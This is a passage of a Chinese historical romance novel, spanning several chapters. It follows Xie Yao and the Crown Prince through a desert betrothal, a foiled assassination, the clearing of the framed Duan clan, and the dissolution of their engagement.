街边的皮影戏,竟演了一出太子、太子妃携手赈济灾民的戏码,惹得谢杳和元序频频笑出了声。
谢杳和元序牵手穿梭在人潮中,走走停停,最终走进了一家绮罗铺内。
元序挑了一件鹅黄色镶着金丝的西域衣裳,拿给谢杳。
“这颜色……”谢杳有些犹豫。
元序向掌柜使了个眼色,掌柜会意,将半推半就的谢杳拉去里间换了衣裳。
少女发间缀满金玉,腕上的红翡玉镯与鹅黄色衣裳浑然一体,美自天成。
掌柜连连夸赞:“姑娘真是绝世芳姿,竟比西域女子还要适合这身衣裳。”
元序将白狐裘斗篷给谢杳披好,拉着她快步上了马。
“这泉竟是月牙形的!”谢杳颇为惊讶。
元序勒马停下,将她抱下马。
“儿时听阿舅说,沙州有一药泉在鸣沙山旁,呈月牙形状。”
谢杳不免感叹:“大漠如此干旱,竟还能留下这样一处药泉。”
“确实难得。”元序亦很是感叹。
夜色阑珊,布满星辰,倒映在泉水中,波光粼粼,澄如明镜。
一阵风拂过,吹起了元序的斗篷。远处城楼上的旌旗随之舞动,沙沙作响。
“风动,幡动。”谢杳口中喃喃,“今夜恐有大风。”
元序侧目望向她,神情认真,“不是风动,亦不是幡动。”
谢杳愣怔在原地,心跳若雷。
“昭昭,我一直未敢问你,这太子妃之位,你可愿意?”元序缓缓转过身,面对谢杳。
谢杳眸光闪烁,“殿下想听实话吗?”
元序没有闪躲,迎上她的目光。
“太子妃之位,意味着无尽的枷锁和争斗,我生性喜爱自由,本是不愿的。”
“那如今呢?”
谢杳不答,轻轻点头,恬然一笑。
元序躬身作揖,“皇天后土为鉴,吾倾慕汝已久,心意若磐,诚以归妻,愿许一人之白首,尽平生之悲欢,相偕不弃,共谋江山。”
他向谢杳伸出手,“昭昭可愿意?”
“适我愿兮。”谢杳施以回礼,将手覆在他的掌心。
元序回握住她的手,将她拉入怀中。
星月当空,流光皎洁。
茫茫大漠,一片静寂,世间好似只有他们所在的这一方渺小天地。
谢杳靠在元序肩上,默默凝望着夜色中的药泉。
它的边界变得极其微茫,像是化在砚台上的一滩墨迹,自由散漫。水面不时泛起涟漪,微光跳动,似星星点点的萤火,绽放出无限生机。
“殿下可还记得你送我的那本《云夏奇卷》?”
元序被谢杳跳脱的思绪,弄得忍俊不禁,“怎么忽然想到这个?”
“我记得那本书里提到过一个毒女,她就在沙州长大,从这里入了江湖。”
“晏紫墨?”
谢杳连连点头。
“昭昭这一身功夫,若是处在江湖中,也能有一番天地。”
谢杳撇了撇嘴,“殿下抬举我了,姑姑说我这三脚猫的功夫,用来逃跑勉强过关,杀敌还远远不够。”
“姑姑是怕你懈怠,你的轻功我见过,就连我都未必追得上。绝对力量的制胜虽然难以达到,但可以用些计谋,足以克敌。”元序正色道。
“殿下这安慰人的功力倒是不减当年。”
“昭昭以后便不要唤我殿下了。”
谢杳一字一顿地唤道:“子启。”
元序微微扬唇,“昭昭若是担心,不若明日我们比试比试,互相讨教一二,如何?”
良久,谢杳仍未出声,元序歪头望向她,发现她竟靠着自己的肩膀睡着了。
“看来是真累了。”
元序轻轻拨开谢杳额间凌乱的发丝,心念微动。
他俯身在她额间落下一吻,少女眼睫微颤,安然睡去。
无人知晓的大漠一隅,大晟太子小心翼翼地背起他的太子妃,缓缓向城中走去。
夜半三更,几个黑影极快地闪进客栈,悄无声息地将值夜的人打晕。
领头的黑衣人抬手示意,余下的人四散开来,藏匿在客栈一楼的各个角落。
那黑衣人三两步跃上二楼,直奔天字一号房间而去。他将门上戳了一个洞,一股白烟顺着洞口飘了进去。片刻后,他轻声推开门,握紧手中的短剑,抬手向床上刺去。
他眉头微蹙,猛地掀开被子,心头一震:床上无人!
霎时,一个清瘦的身影翻窗跃进屋内,拦住了他的去路。那人将剑在手中一转,借力划破了他的面帛。他来不及掩面,在那人洒出的白色粉末烟尘中晕了过去。
谢杳挑眉,“你给我的百步散,如今我都全数奉还给你。”
她推开窗牖,向外吹了声清脆响亮的口哨,安西军闻声,立刻涌进客栈内。
客栈一楼的黑衣人急忙逃窜,终是抵不过人数的压制,败下阵来。
元序缓缓推开门,从天字二号的房间走了出来,拍手称赞:“太子妃好一招明修栈道,暗度陈仓。”
谢杳嫣然一笑,毫不掩饰,“殿下过奖了。”
元序接过谢杳递来的令牌,扬声道:“劳烦各位将士,明日随孤一道,押送他们回凉州。”
“末将领命。”安西军一齐应道。
元序侧目,“昭昭何以断定他们今夜会来?”
“殿下还是快些进屋去看看那贼首吧。”
谢杳避而不谈,故意卖了个关子。
二人快步走到那贼首身
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边,元序蓦地面色一改,惊叹道:“应胥?”
“殿下认识他?”
元序眸光微凉,沉声道:“他是父皇之前的侍卫,不过在我从凉州军营回长安后,他就不知所踪了。”
谢杳默默思量:她没有猜错,这些人果然是冲着太子而来。储君之争,历朝历代都无比凶险,段氏遗孤的下落不免成了有心之人扳倒东宫的一个关键,可这人操之过急,隐隐透出几分怪异,也正因此,给了她可乘之机,不然难免是一场恶仗。
“昭昭这盘棋,下得不错。”元序缓缓开口。
谢杳眸光闪烁,“此番确是我利用了殿下。”
元序轻轻摇头,“兵不血刃,已是难得。”
谢杳见他反应如此平静,有些奇怪,“殿下装睡的?”
元序挑眉,面上带笑,“孤还在想太子妃怎么就困得睡着了,还拉着孤的手不放,于是孤将计就计,没想到,太子妃是为了偷孤的令牌。”
“我不过是拿令牌去搬救兵,又没有干什么坏事。”谢杳真诚地眨了眨眼,“况且我还借此机会,把太子殿下转移到了我这间安全的卧房里,也算是功过相抵。”
“多亏阿舅给了我这块可以调动安西军的令牌。”元序轻叹,“迟则生变,卯时我们便启程。”
二人眼波流转,心意不言而喻。
***
凉州城的牢狱,寒气逼人,暗不见光。
应胥缓缓睁开眼,唇角勾起一抹自嘲地笑,一着踏错,满盘皆输,终究还是他太过心急了。
“太子妃,是我小瞧了你。”应胥眼神阴骘,望向谢杳。
谢杳微微摇头,“不是我,你是败给了你自己。”
应胥仰头大笑,眼底猩红,“元序在何处?堂堂大晟太子竟躲在一个女子背后,真让人耻笑!”
“凉州段氏本就与他无干,自然是我来审你。”谢杳神色淡然。
应胥觉得无比可笑,“元氏一族是何等嘴脸,也配让你这般相护。”
“你为何劫持我来凉州?”谢杳没有受他的情绪引导。
“太子妃不是早就猜到了吗?”
“为了区区一个段氏遗孤,不至于让你这般愤恨。”谢杳抬眸,“你与太子殿下有旧怨?”
应胥眸光闪烁,避而不答。
“你对圣上有怨?”谢杳试探道。
“太子妃这么聪明,可不是什么好事。”
“你若独木难支根本无力谋划,我也便不绕圈子了,幕后之人是谁?”
应胥怒目而视,“你就是杀了我,我也不会说。”
“那便说说凉州段氏。”谢杳将话锋一转,“我猜,当年凉州段氏灭门抄家之时,你就在段府。”
“正是。”应胥勾了勾唇角。
谢杳攥紧衣角,不露声色地继续问道:“圣上派你前去监察?”
“不,他派我亲自去斩杀段氏族人,一个不留。”
应胥的声音轻飘飘的,却在谢杳的心中掀起了层层涟漪。
“那你可有找到段府谋反的证据?”
“信。”
“什么?”
“段老将军通敌的信。”
谢杳猛地起身,“凉州段氏当年到底有没有谋反?”
应胥的笑意更甚,近乎妖邪,“当然……没有。”
元序闻言,猛地冲了进来,他揪住应胥的衣领,“证据可在你手中?”
“太子殿下何必惺惺作态,你元氏一族凉薄至此,你又算得上是哪门子的好人?”
谢杳快步走上前,将元序拉开,目光示意让他冷静下来。
“当年大理寺呈上证据,元朔甚至都没将信件认真看上一看,便匆匆下旨,诛杀凉州段氏满门。什么狗屁的大晟‘仁君’,真是可笑!”
谢杳眸光一沉,“空口无凭,你告诉我这些,无非是想引起我对圣上的猜忌。”
“人之将死,其言也善。”应胥抬眸,目光中尽是悲凉,“我当年发现通敌信件的字迹不对,急忙告知元朔,可他却说此案永不复言。我出身行伍,钦佩段家为陇右百姓的所作所为,于是暗中将信件留存,不想被元朔发现,险些将我灭口。”
“信在何处?”
谢杳话音刚落,应胥忽然七窍流血,倒在地上。
元序扬声喝道:“唤军医来!”
谢杳蹲在应胥身前,焦急地又问:“信在何处?”
应胥艰难地开口,“大……大理……寺。”
他头一歪,断了气。
谢杳跌坐在地上,心中思绪翻涌。
应胥死了,即便留下了物证,也很难为凉州段氏翻案。若他所言非虚,那救他之人会是谁?又为何要相救?一切又都不得而知。
皇家无情,帝王凉薄,权力倾轧,无数无辜之人被迫丧命,欲加之罪,何患无辞。
这样的朝廷,真的值得吗?
她心中的困惑更盛了几分。
元序小心翼翼地将谢杳扶起,缓缓拥住她。
少女轻声啜泣,悲伤溢满这片无光的暗狱。
朔光十七年隆冬,凉州段氏血淋淋的真相,终于在历经十载春秋后,昭然于世。
太子修书一封,自凉州八百里加急传至长安,一时间,朝野震动,流言四起。
19. 第十八卷·归去来兮
天寒地冻,入夜的凉州城死一般的寂静,几只乌鸦飞过传来阵阵哀鸣声。
谢杳端坐在桌案旁,提起笔,又放下。
大理寺——怎会如此巧合,证据就一直藏在她的身边。
她隐隐觉得不安,虽然凉州段氏终于沉冤得雪,可这一切的进展未免有些过于容易,就像是被人精心设计过,每一步都在掌控之中。
如此看来,应胥也是一枚棋子,真正执棋之人,可能就是当年救下他的那个人。
那人冒着这么大的风险,将她劫到凉州,甚至将证据送到她的手中,仅仅只是为了东宫之位,为了报复当今圣上?她不相信,这背后定然隐藏了更大的阴谋。
想到这儿,她更加犹豫,无从落笔。
门忽然被人从外面推开,元序疾步走进屋内,远远就看见了谢杳信上的字。
他咽下本想说的话,“昭昭为难了?”
谢杳叹了口气,“这证据让别人来查,我不放心,可若是让阿宇查,我怕……圣上会怪罪。”
元序沉默了片刻,缓缓开口:“孤会力保他的性命,但这大理寺少卿的一职,难说。”
“这件事容我再想想吧。”谢杳将话锋一转,“七窍流血是中毒的迹象,这一路除了安西军和我们,没人接触过应胥。军医可有结果?”
“军医查验过了,应胥应是自尽。他身上带着一瓶毒药,是产自西域的剧毒,万骨枯。”
“幕后之人的线索又断了。”
二人相对而立,皆面露愁容。
良久后,元序幽幽开口:“父皇传旨,命你归乡,待新岁完婚。”
谢杳瞋目,很是惊诧。
圣上这个时候命她归乡,分明是不想让她再插手凉州段氏的旧案,想来还是心怀忌惮。
“我定会为凉州段氏平反。”元序言辞笃定。
谢杳蹙眉,“这件事对你也不利。”
“法理不可为情理让步,纵使他是我的父皇,也不能罔顾律法。我身为大晟太子,理当明辨是非,以正天理公道。”
谢杳躬身,郑重地向元序施礼,“谢杳代江宁侯府谢过殿下。”
应胥死后的第七日,大理寺少卿陆琼宇于大理寺内找到了多年前段府通敌的信件,以及段府的全部家书。几番查证,确定通敌信件的字迹非段府之人所书。
圣上大怒,无奈碍于朝野压力,不得不重启旧案的调查,实则暗中拖延,处处掣肘。
彼时,元序和谢杳已于返程的路上。
二人策马离开凉州城时,谢杳回头,望向这片辽阔无垠的瀚海,心中感慨万千。
大漠孤烟,长河落日,不知几时能再见到。
世间极致的风景,从不独属于人,但可以留在人的心里,也算是一种永恒。
***
长安开远门外,几辆装饰华贵的马车分别停在城门两侧。
苏木和棠梨四处张望着,朔风袭来,冻得他们忍不住搓了搓手。
小满从马车上跑下来,冲着远处摆了摆手,扬声喊道:“阿姊!”
“还是小丫头眼神好。”谢景随后走下马车。
几乎同一时间,城门另一侧的马车车帷被人猛地掀开,一个头戴帷帽,身披月白色斗篷的女子疾步走了下来。
她透过帷纱,极目望向远处。
谢景的余光偶然瞥见这个女子,在她身上停留了一瞬。
真巧!他想,他们衣裳的颜色竟完全一样。
“哥哥?”
谢杳极快地跃下马,跑到兄长跟前。
“你怎么来了?”
“兄长来接你回家。”谢景上下打量着她,“昭昭瘦了。”
谢杳轻轻摇头,“那是因为你太久没见我了。”
苏木拉着元序左看右看,确认他无事后,悬着的心才落了下来。
“孤没事。”
元序神情复杂地望着苏木,又将目光移向谢杳。
元承双掀开帷纱,走上前,“皇兄,阿杳,幸好你们没事。”
“永乐,你怎么在这儿?”谢杳握住她伸来的手。
“我今日启程,去洛阳。”
“承双,时候不早了,还是快些赶路,路上小心。”元序嘱咐道。
元承双与谢杳交谈了几句,与他们施礼作别,先行离去。
“殿下高义,谢景代江宁侯府谢过殿下。”
“玄明言重了,此番擒拿贼首,皆是昭昭一人之功。”元序作揖回礼,将上身压得更低了些,“子启代元氏一族,向江宁侯府请罪,孤必倾尽全力为凉州段氏平反。”
谢景不免有些惊讶,“殿下快快请起。”
“太子妃名满长安,不比我家殿下差。”苏木在一旁附和道。
谢杳的目光移向苏木,眼底透出一丝欣慰,又努力克制住自己的情绪,他们现在还不能相认,他还不能以段策这个身份活在世上,否则便是欺君。
“阿杳!”
陆琼宇跃下马,快步上前拥住谢杳。
谢杳一惊,连忙拍了拍他的肩膀,示意他放开自己。
“你没事就好。”陆琼宇舒了口气。
谢杳关切地问道:“你境况如何?”
陆琼宇目光躲闪,“老样子,大理寺忙得昏天暗地,不然我今日不会姗姗来迟。”
“当真?”
陆琼宇笑着点了点头。
“圣上命我归乡,为凉州段氏平反一事,就要靠你和太子殿下了。”
言罢,谢杳走向元序。
“子启,来不及等你冠礼了,那便祝你,千年万岁,无岁不逢春。”
谢景和谢杳与他们一一道别,坐上马车,驶离了开远门。
“姑姑呢?”
“就不能是为兄自己来的吗?”
谢杳瞋目望向谢景。
谢景拗不过她,“姑姑回红尘楼了。”
“那就稳妥多了。”谢杳如释重负。
“为何这么说?”
“至少……圣上不会对姑姑下手。”谢杳喃喃道。
谢景轻叹:“上一辈人的恩怨,就让他们亲自了结吧。”
谢杳摇头,“此事可不止事关长辈。”
谢景抬眸,“凉州段氏有遗孤留存于世?”
“苏木,太子殿下身边的那个侍卫,就是凉州段氏的后人段策。”
“怪不得,不然依你的性子,不会对太子那般宽容。”
谢杳闻言一笑,“他是他,圣上是圣上,总归是不同的。”
谢景没再出声,他不愿打破妹妹心中的幻梦。
生在皇家,身不由己,太子日后也是要成皇的,事实上并无什么不同。
朔光十七年岁末,谢杳终于回到了江南。
南境的隆冬,是极少有雪的,惟有寒风卷着微雨,打在绿水青山上,笼着一层薄雾。
近乡情怯,随着马车行进,离江宁的距离越近,谢杳的心情就越是复杂。
江宁侯府门口,聚满了人,欢笑盈庭,沉浸在迎接谢杳的喜悦中。
“阿爹,阿娘。”
谢杳跑下马车,紧紧地拥住他们。
“都及笄了,
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怎么还冒冒失失的?”谢弈安拍了拍女儿肩膀。
“父亲母亲是不是忘了,还有孩儿呢。”谢景勾了勾唇,缓缓走上前。
“谁叫你走得慢。”谢杳作了个鬼脸。
时及昼食,江宁侯府大摆筵席,为他们兄妹二人接风。
看着桌上久违的熟悉饭菜,谢杳的眼底不禁弥漫上一层雾气。
这些年,她在长安谨小慎微,大多时候都是独自一人,已是许久未能热闹、轻松地生活了。
家之所以为家,不只是躲避风雨的屋檐,更在于人。家的存在,是可以让人卸下所有的防备和重担,做最真实的自己。
长安虽好,亦不能替代江宁。
***
春风十里,捎来远方的信。
谢杳提起裙角,小跑着去迎棠梨。
“小姐慢些,别摔着了。”
棠梨急忙扶住快要摔倒的谢杳,将信递给她。
“是太子殿下的信吧?”小满打趣道。
棠梨将小满拽走,“小丫头,问这些作甚?”
“我不是小丫头了。”
她们的打闹声渐渐隐去,院内又恢复了寂静。
一束阳光倾洒下来,海棠树含苞待放,充满勃勃生机。
谢杳坐在树下,缓缓打开信笺。
昭昭亲启:
久违芝宇,时切葭思。
平反一事,力破万难,终得拨云见日,不日便可敬告寰宇,昭明于世。
卿且宽心,卿义兄陆氏,官居其位,前路朗朗。
吾冠礼已成,不觉尔尔,惟余遗憾,盼君北上,相偕不离,可慰心安。
春寒料峭,善自珍重。拜书以闻,企盼还云。
子启
朔光十八年元日
她一遍又一遍读着这封信,不自觉扬起唇角。字如其人,信上的字迹隽秀工整,就如太子殿下亲临一般。
谢杳舒了口气,事情进展得顺利,局面尚好,总算是没有辜负这些年的辗转。
朔光十八年立春,帝于太极殿诏告天下,为凉州段氏平反,追封段将军为忠义侯,凉州段氏得以沉冤昭雪。
薛国公趁机修书一封,呈予圣上。
圣上见信,龙颜大悦,急召亲卫连山前来。
“薛凌寒这个老狐狸,倒是会见风使舵。”朔光帝将信递给连山。
连山立刻会意,应声附和,“薛大人也算是为陛下分忧了。”
“他这一言,确实颇得朕心。”朔光帝勾了勾唇,“春闱的时间临近,你亲自出手,莫要有漏网之鱼。”
连山见礼,“臣定不负陛下所托。”
上元节一过,便到了谢景赴京赶考的日子。
“哥哥定能金榜题名。”谢杳叽叽喳喳地围在谢景身边,为他送行。
谢景捂住她的嘴,“吵得很。”
谢杳瞪了他一眼,不再出声。
江宁侯夫妇笑着看向他们,无奈地摇了摇头。
谢景拜别父母,快步上了马车。
待江宁侯府消失在视线中,谢弈月缓缓开口:“春闱一事,事关社稷,其中不乏别有用心之人,你务必谨慎。”
谢景郑重点头,“姑姑,我记下了。”
他透窗回首,望着愈来愈远的江宁城,莫名想到谢杳。
原来妹妹当年是这般心境,那时的她尚未及笄,就被迫独自面对这一切,真是难为她了。
马车渐渐驶向长安,春闱胜景的背后,一场谋划多年的阴谋,渐渐浮出水面。
真正的棋局,才刚刚开始。
20. 第十九卷·不信人间有白头
风传花信,雨涤春尘,江南的春意醉人,惹得人挪不开眼。
一叶小舟泊在桃叶渡,谢杳撑伞下了船,漫步在烟雨中。
清晨的秦淮河畔,静谧安宁,好似误入了一片世外桃源。这样的景色她已经阔别了五年之久,如今是日日看都看不厌。
“江南的气候真是宜人。”小满叹赏不绝。
棠梨莞尔,望向烟波浩渺的水面,在长安待久了,都快忘了春日也是可以这么早到来的。
谢杳闭上眼,深深吸了一口气。
空气中弥漫着青草和泥土的味道,湿润、清新,让人自然而然地放松下来。
天青水碧,凭栏听雨,数不清多少楼台,只余下眼前的三两轻舟,浓淡相宜,映在她的眼眸。
江宁侯府的一个小厮披着蓑衣疾步赶来,焦急地叫住她们,“二小姐,中了!大公子中了进士!”
“前三甲?”棠梨惊叹道。
“探花!”
谢杳面色欣喜,难掩激动之情,“哥哥总算是没有辜负这些年的挑灯苦读。”
她作势便要回府,被棠梨拉住,“小姐,行船更快一些。”
轻舟顺流而下,冒着瓢泼大雨,稳稳停在岸头。
江宁侯府的后门一开,谢杳便快步跑向中堂,连裙角被雨打湿,也不理会。
她气喘吁吁地进了堂内,向父亲、母亲一一施礼,满怀欣喜地向他们确认,“哥哥中了探花?”
江宁侯夫妇默默点头。
谢杳对他们的反应感到疑惑,“阿爹,阿娘,不高兴吗?”
谢弈安眉头紧锁,接连叹息。
高晏目光闪烁,艰难地开口:“圣上密旨,命你兄长……拜驸马都尉。”
谢杳心头一震,嘴中喃喃,“驸马?”
堂内一片寂静,空余雨水滴答打在檐上,发出些细微声响。
谢杳眼尾微红,她倔强地扬起头,问道:“父亲、母亲打算如何应对?”
谢弈安望向她,沉声道:“修书一封,自请废除太子妃之位。”
谢杳轻笑,“我就知道父亲是这个意思。”
高晏心疼地走上前,轻抚她的肩膀,柔声安慰道:“昭昭,我们没得选。”
谢杳不欲多言,转身想要离开,却被谢弈安叫住。
“昭昭,你亲自写。”
“既然是圣上旨意,谁写都一样,何必要让我来写。”谢杳背对着父亲说道。
“你亲自修书一封,能断了这个念想。”
谢杳猛地转身,声音响彻堂内,“我不写!”
“你以为你不写就能坐上这个中宫之位?”谢弈安怒不可遏。
“女儿本不愿做太子妃,也从未想过要做皇后,可为了不违敕旨,为了江宁侯府的安危,我应了。现如今,又要如法炮制,让兄长拜驸马都尉,父亲可有想过他的抱负和前途?”
高晏拉住谢杳的手,“昭昭,我们何曾不想让你们自由地活在这世间,做你们想做之事,可皇命难违,难道你想让你兄长抗旨不成?”
谢杳不答,泪水流淌过双颊,打在地上。
她强迫自己冷静下来,母亲说得没错,他们没得选,她的兄长如今在长安,若是她写得迟了,第一个死的就是谢景。
谢杳作揖,一字一顿道:“谢杳从命。”
她三两步走到桌案旁,提笔洋洋洒洒写了一封退婚书,而后干脆利落地跑出堂外。
江宁侯夫妇望着女儿离去的背影,相对叹息。
此后数日,谢杳都将自己关在屋内,闭门不出。
小满很是担心,却不知道该如何相劝,她本想问棠梨,却发现她也闷闷不乐,只好作罢。
幸好,没过几日,谢景就回了江宁。
小满得到谢景归家的消息后,急急忙忙跑去告知谢杳,却发现她不在屋内。
她焦急地找了一圈,也没找到,又不敢声张,只好跑回府门口告知棠梨。
棠梨不假思索,“或许在檐上。”
“檐上?”小满闻言一惊,指了指屋檐。
棠梨颔首,“小姐心情不好便会躲到高处去,自儿时便如此。”
“那我怎么告诉阿姊?”
“让小姐一个人静一静吧。”棠梨劝道。
马车缓缓停在江宁侯府门前,自车上下来的不止谢景,还有谢弈月。
谢景面色疲惫,目光扫过府门口前来迎接的人,最终停在棠梨的身上,“昭昭呢?”
棠梨微微蹙眉,摇了摇头。
谢弈月忽然出声,“阿景,你先去看看昭昭,然后到书房来。”
谢景对着父亲、母亲施完礼,快步走进府内。
谢杳望见兄长的身影,连忙起身,扶住梯子露出的一角。
“哥哥不会武,何必辛苦爬上来。”
谢景望着一脸憔悴的妹妹,心疼地摸了摸她的头,“昭昭不愿下来,兄长便上来找你。”
谢杳眼眶微红,“你唤我,我自然就下去了。”
“是兄长不好,害你为难了。”
谢杳用力摇头,眼泪夺眶而出,她慌忙别过头去,努力露出一个笑容,“哥哥,永乐公主性子纯良,是个好人,你们很是相配。去年岁末在长安城门,你还见过她的。”
谢景抬手为她擦干眼泪,温声问道:“昭昭,你是否心悦太子殿下?”
谢杳微怔,目光闪躲。
谢景扶着她的肩膀,让她望向自己。
谢杳垂眸,眼睫微颤,无声默认。
良久,谢景缓缓开口:“好,兄长知道了。”
“你要做什么?”
谢景不答,转身极快地爬下屋檐。
谢杳见状,连忙跃下屋檐,跟着他一路到了书房。
“父亲,孩儿不愿做这个驸马。”谢景猛地跪在地上。
谢弈安闻言大怒,“这是圣上的旨意,难道你要抗旨?”
谢弈月连忙拦住谢弈安,“兄长何必动怒。”
“他这是要将江宁侯府送上死路!”
高晏扶起谢景,“有什么话,好好说。”
“我与公主素不相识,没有情谊,可昭昭已在长安待了五年,人心都是肉长的,这么做,对她不公平。”谢景言辞恳切。
“公平?”谢弈安轻笑,“这世间何来的公平?普天之下,莫非王土,你敢与圣上论个公道吗?”
“我若拜驸马都尉,昭昭必然做不得太子妃,既如此,我宁可抗旨。”谢景叩首,“谢景自请族谱除名,生死不累江宁侯府。”
谢弈安甩开谢弈月的手,冲到谢景面前,正欲抬手,却被谢杳喝住。
“够了!太子妃婚约已解,兄长这么做也是徒劳。”
谢杳快步走进书房,拦在谢景前面,“父亲,如今婚约已解,圣上的目的已经达到了。”
“昭昭说得对。”谢弈月随声附和,“元朔的意思,就是逼我们自请废除太子妃的婚约。所以阿景,这门婚事你应与不应,都帮不了昭昭。”
“太子妃的婚约解了,你若不做这个驸马,何人来庇护江宁侯府?”谢弈安声色俱厉,“这门婚事,由不得你。”
“从前父亲不问昭昭意愿,就将年幼的她送入长安,为的就是庇护,而今如何?我们的婚事,当真能庇护得了江宁侯府一世吗?”谢景满腹疑惑,无从得解。
谢杳缓缓跪下,“女儿也想不明白,皇家无情,帝王凉薄,权力倾轧,江宁侯府以至南境百姓的命运系于这样的朝廷,真的能一世安稳吗?”
谢弈安骇然失色,“都给我到祠堂跪着,好好反省!”
谢景、谢杳离开后,高晏轻笑着摇了摇头,“我倒觉得,景儿和昭昭比我们看得更清。”
“夫人,这话万不可当着他们说,这般惊世骇人之言若是传了出去,圣上恐要认定我们江宁侯府有谋反之心。”谢弈安情绪激动。
“兄长,我觉得长嫂说得不无道理。他们不再是孩童了,尤其是昭昭,她在长安经历了那么多,远比你想象中更能看得懂局势和人心。”谢弈月顿了顿,终是忍不住直言,“自父亲薨世后,兄长便畏首畏尾,倒真不如他们坦荡。”
谢弈安见不占上风,恼怒地拂袖离去。
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雨过天晴,风卷残云,江南的春意盎然,只在入夜时分,略微袭来一丝凉意。
“嘎吱——”
祠堂的门被人从外面打开,那人脚步沉重,走得缓慢。
谢杳闻声惊醒,瞥了瞥一旁昏睡的兄长,若是进了贼,他怕也是不知道的。
她艰难起身,半日未动,哪怕是习武之身,也很难动弹自如。
“昭昭,慢些起身。”
谢杳认出那人的声音,舒了口气。
“阿娘,我就知道你会来。”
“嘘——”
高晏指了指一旁的谢景,暗示谢杳放低声音,不要把他吵醒。
她扶着谢杳走到蒲团处坐下,又侧身将带来的斗篷盖到谢景身上,待盖好后才缓缓开口:“昭昭心有不甘,可是因为太子殿下?”
谢杳微微点头,又用力地摇了摇头,“我固然心悦太子殿下,可与情谊相比,江宁侯府数百口人的性命更重,我决不能弃之不顾。”
她顿了顿,最终决定将心中所疑告知母亲,“女儿于西北走了一遭,深觉国朝积弊。帝王凉薄,朝堂党争不断,以权谋私,敛财暴利,各州府赋税繁重,百姓艰辛。女儿不甘,委实不敢将前路寄于这样的朝廷。”
“昭昭所言不假。”
高晏恬然一笑,目光温柔似水,“只是昭昭不知,大晟建朝前,天下四分五裂,战乱不休,国不复国,统一是大势所趋,民心所向,时至今日,亦不敢说分而各治的妄言。天下兴亡,都是一将功成万骨枯,谁也不愿轻易打破如今的平静局面,哪怕这是水中花,镜中月。”
谢杳豁然开朗,思绪渐渐变得清明。
不日,圣上赐婚的旨意便到了江宁。
江宁侯府上上下下都忙碌了起来,筹备起婚嫁的物什,谢杳小心翼翼地避开他们,是这府上唯一的闲人。
她倒也不甚在意,乐得清闲。
人生行路,如涛涛江水,奔涌向前,途中或受制而阻,或汇它江流,却终不会逆转倒行。
太子妃也好,世家女也罢,她从来都是她自己,不会为名号所累,也绝不会因任何人、任何事停下脚步。
***
朔光十八年九月初九前夕,江宁侯府阖家北上,直驱长安。
谢杳亦不例外,她几番苦求,终于得以与哥哥同乘。
“昭昭,待兄长完婚后,便要与永乐公主同居洛阳,父亲母亲就要交由你来看顾了。”谢景嘱咐道。
“哥哥说反了,应是他们看顾我才对。”谢杳狡黠地眨了眨眼。
“昭昭以后作何打算?”
谢杳莞尔,“行舟千里,一睹江南风采。”
谢景眸光闪烁,轻抚过她的头,“昭昭,兄长盼你得清风明月,做这世间来去自由的闲云野鹤,快意此生,再无忧惧坎坷。”
“闲云野鹤。”谢杳一字一顿地念道。
“我心向往。”
谢景掀开窗帷,一座雄伟的城池隐约出现在视线中,他忆起春闱时行过的路,心下笃定,“到洛阳了。”
谢杳不答,作势起身。
“昭昭!”谢景一惊,连忙拉住她。
谢杳迎上他的目光,她之所以选择与谢景同乘,便是笃定兄长会明白她的心意,放她离去。
她眉眼一弯,依旧是明媚的模样,“谢杳祝兄长与公主比翼白首,良缘美满,鸿案相庄。我先行一步,五日后洛阳公主府见。”
言罢,她极快地跃下马车,身影隐没在路旁的密林中。
谢景轻叹,入长安观礼对谢杳来说实在残忍,她先行移步洛阳也好,免得碰到太子,平添烦扰。
这些时日,谢杳乐得清闲,可越是这样他越是自责,他太了解她的性子,再苦再难,她也从不言语,只是一笑而过。
他心疼妹妹,可这一纸婚约牵出的阴差阳错,无处辩驳。造化弄人,他们深陷其中,挣不脱,也逃不过。
窗外的景色在谢景眸中变换,却都失了颜色。
秋风卷地,落叶满长安,坊市间车水马龙,迎来送往,一如寻常模样。
21. 第二十卷·把酒祝东风
坤宁宫内,喜气盈庭,元承双着凤冠霞帔,端坐于妆奁前,任由宫女给自己打扮着,面上勉强露出一丝笑意。
身为国朝如今唯一的公主,又为皇后所出,这婚礼的隆重程度自是非比寻常。
她不免叹了口气。
“公主是不是累了?”侍女桃夭边说着,边走上前。
元承双微微摇头,比起身体上的疲惫,心事更为难解。
她实在不明白外祖父为何会给她择了这样一门亲事,父皇和母后竟也就这般不明不白地应允了,还有皇兄和太子妃,他们又该怎么办?变故接踵而至,不给人一点反应之机。
元庆轻叩桌角,“出嫁的日子,怎么魂不守舍的?”
元承双回神,无奈地眨了眨眼。
“舍不得我们?”
“不是,我是在想……太子妃的婚约。”元承双越说声音越小。
“你管这些作甚?”元庆轻轻点了下元承双的额头,“好好做你的新娘子,别整日胡思乱想。”
“皇兄呢?”
元庆摇了摇头,他当真是不知太子在何处,就连今日早朝太子都未曾出现。
谢府门前,段策焦急地等待着,他见到棠梨出来,急忙迎上前去,“怎么不见阿姊?”
棠梨知晓他的真实身份,因而不作隐瞒,将谢杳的行踪告知于他,“小姐转道去了洛阳。”
她见段策一副不可置信的模样,又补充道:“小姐命我留下保护侯爷、夫人,小满陪小姐一道,去了洛阳。”
“多谢。”言罢,段策转身跃上马,策马离去。
巷口转角,一身玄衣的元序等在一旁。
“殿下,阿姊在洛阳。”
元序颔首,策马疾驰出了春明门。
洛阳北市的江洋酒肆内,谢杳与掌柜对了句暗语,将姑姑存在这儿的两坛桃花醉取了出来。
小满捧着满满一坛桃花醉,好奇地闻了闻,呛得她咳嗽了好久。
谢杳莞尔,将小满捧着的那坛酒又放了回去,这里人生地不熟的,她们之间至少要有一个清醒的人。
斜阳日暮,一天又过去了大半。
谢杳望着天边余晖,饮了一大口酒,心想:成婚礼该进行到哪一步了呢?合卺酒,拜高堂,结发为夫妻。
她轻笑着起身,小满连忙扶住她。
“我没事。”谢杳摆手示意。
小满舒了口气,多亏她的轻功是谢杳教的,不然她也很难偷偷跑出队伍,跟着谢杳来洛阳。
如今看来,她真的来对了,瞧阿姊这模样,怕是已有几分醉意。
“阿姊,我们还是回府吧。”小满劝道。
谢杳摇头,“天色还早,我带你去个好地方。”
黄昏时分,最后一缕天光照在西阳门的城楼上,转眼没入沉沉夜色。
守城的士兵见来人,立时伸手阻拦。
“在下江宁侯府谢杳。”谢杳缓缓开口。
“太子妃?”其中一个士兵脱口而出。
“胡说什么,大晟如今哪还有太子妃。”他一旁的士兵出言纠正,“谢二小姐,您这是?”
“我头一次来洛阳,想上城楼看看风景,并无他意,若是为难,便算了。”
